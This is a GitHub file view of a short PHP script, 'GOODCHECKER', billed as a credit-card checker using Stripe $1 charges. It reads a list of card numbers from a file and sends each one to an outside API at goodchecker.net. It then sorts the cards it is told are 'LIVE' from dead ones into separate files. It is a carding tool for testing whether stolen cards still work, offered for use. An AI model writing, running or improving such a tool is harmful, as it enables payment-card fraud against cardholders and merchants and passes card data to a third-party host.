-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathrun.php
More file actions
39 lines (35 loc) · 1.14 KB
/
Copy pathrun.php
File metadata and controls
39 lines (35 loc) · 1.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
echo "Hai, Welcome To GOODCHECKER Trial Version\n";
echo "CC checker Merchant Stripe Charge $1\n";
echo "Note: Supported Card Visa, Mastercard, AMEX, Discover Card\n\n";
do {
$pathFile = input("Path File List");
if(empty($pathFile)) {
$initiateRepeat = 1;
} else if(!file_exists($pathFile)) {
$initiateRepeat = 1;
} else {
$initiateRepeat = 0;
}
} while($initiateRepeat);
$delimeter = explode("\n", trim(file_get_contents($pathFile)));
$checkTotal = 0;
$amountList = count($delimeter);
foreach($delimeter as $format) {
$format = trim($format);
$response = file_get_contents("http://goodchecker.net/ccn2/api.php?list=".trim($format));
if($response == "LIVE") {
echo "[".$checkTotal."/".$amountList."] ".$response."\n";
file_put_contents("Live.txt", $response."\n", FILE_APPEND);
} else {
echo "[".$checkTotal."/".$amountList."] ".$response."\n";
file_put_contents("DIE.txt", $format."\n", FILE_APPEND);
}
$checkTotal++;
}
function input($text) {
echo $text.": ";
$a = trim(fgets(STDIN));
return $a;
}
?>